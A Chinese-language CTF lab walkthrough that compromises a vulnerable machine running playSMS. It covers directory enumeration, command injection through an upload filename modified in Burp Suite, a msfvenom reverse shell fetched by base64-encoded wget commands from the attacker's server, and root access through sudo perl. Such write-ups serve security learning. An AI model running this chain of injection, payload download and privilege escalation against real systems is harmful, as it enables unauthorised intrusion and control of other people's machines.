摘要:声明:此博客只是记录自己的ctf学习过程,请勿用于非法途径。

靶场机器IP地址:192.168.31.191

扫描:

 

 开放80端口的http服务,所以可以nikto或者dirb一下,同时可以使用浏览器打开看看

dirb到了robots.txt,打开看看:

 

 

 

 对其中的文件依次访问看看是否有可以利用的信息:

访问其中的/nothing :

 

 发现返回的是404

不过这和真的404一样么

访问一个根本不存在的文件:

 

 发现两个404有所不同,那我们看一看/nothing的源代码:

 

 的确发现了一些敏感信息,应该是密码什么的

 

继续回到dirb出来的文件中,看到了一个secure目录:

 

 打开看一看:
发现一个backup.zip(backup的备份的意思)文件:

 

 点击进行下载,并保存到攻击机,解压

发现需要密码:

 

 想起了之前在网站源码中看到的密码,试一试其中的freedom,成功:
这时候要注意,在ctf中碰到后缀为.mp3的文件,但是它不一定就是MP3文件,我们需要看一看它到底是不是:

使用file命令查看具体文件类型:

file backup-cred.mp3

 

 这个文件是一个文本文件,可以直接使用cat命令来查看:

cat backup-cred.mp3

 

 url后面应该是一个网址,看一看:

返回了一个登陆的界面:

 

 在刚才cat的时候已经获得了用户名touhid

密码呢,还是尝试之前网站源码中的密码,毕竟还有几个密码没用过呢

发现密码是diana,登陆成功

 

 当你登陆进去一个系统后,应该想一想这是不是一个已知的系统,并且查一查这种系统有什么漏洞

这个系统是playSMS

使用searchsploit进行漏洞查找:

searchsploit playSMS

的确是有很多漏洞的:

 

 

查看存放文件名为42003.txt的那个漏洞

cat /usr/share/exploitdb/exploits/php/webapps/42003.txt

 注意,这儿大家路径可能不太一样

然后根据漏洞提示去做:

 

 同时cat里面也告诉你漏洞上传的位置:

 

 打开上述地址:

 

 这个页面上面写着要上传一个csv文件

那就先在攻击机上新建一个csv文件:

touch 1.csv

发现的确是可以上传成功的

这时候我们要想着去修改上传的文件名,使用burpsuite

使用burpsuite需要先在浏览器中设置代理:

浏览器的Preferences中:

 

 

 

 然后开启burpsuite

开启后重新上传1.csv

 

 在代理中我们可以拦截到这个正在发送的包

在action中选择send to repeater

 

 然后再repeater中把1.csv修改为如下命令,然后点send发送

 

 然后我们就可以收到服务器给我们的返回报文:

 

 

把右边这个报文拖到最底下,可以看到我们修改的命令的返回信息:

 

 看到命令修改成功!

如果想要修改成其他命令,那需要重新去抓包,也就是重复上述动作

比如,我们想查看id就把'uname -a'改为'id'然后重新发包即可

 

我们还可以使用其他方法查看漏洞:

比如使用exploit-db

访问:

https://www.exploit-db.com/exploits/42003/

网站返回给我们的结果与searchsploit返回的结果是一样的

 

下面利用shell获得权限:

 

启用metasploit监听:

msfconsole

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set playload linux/x86/meterpreter_reverse_tcp

msf5 exploit(multi/handler) > set lhost 192.168.31.113

msf5 exploit(multi/handler) > exploit

开始监听了

 

生成shell文件:s:

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.31.113 lport=4444 -f elf > /var/www/html/s

查看对应目录下是否生成文件s:

 

 看来的确是生成成功了

下面就是想办法让远程的靶场机器自动下载这个s文件,然后在靶场机器上修改这个文件的权限并执行,从而获得反弹shell:

先在攻击机处启动apache:

service apache2 start

查看apache是否启动成功:

service apache2 status

看来是启动成功了:

 

 靶场机器是开着防火墙的,所以我们要绕过防火墙

利用base64绕过防火墙检测:

其实就是对我们想要在之前1.csv处覆盖的命令进行base64编码已绕过检测:

先是对三个命令进行base64编码:

echo 'wget http://192.168.31.113/s -O /tmp/a' | base64
echo 'chmod 777 /tmp/a' | base64
echo '/tmp/a' | base64

得到三个编码后的命令:

 然后就是和之前一样使用burpsuite进行抓包放包:

 

 一共进行三次操作,每次都是重新上传1.csv时进行抓包,并修改报文,然后再放包

 

然后再监听段就可以收到反弹回来的shell了

但是并不是root权限,只是www.data用户

使用sudo -l查看有哪些sudo的命令

发现www.data可以不使用密码就有使用/usr/bin/perl的权限

sudo perl -e "exec '/bin/sh' "
bash -i

然后就反弹回了root权限!

本题结。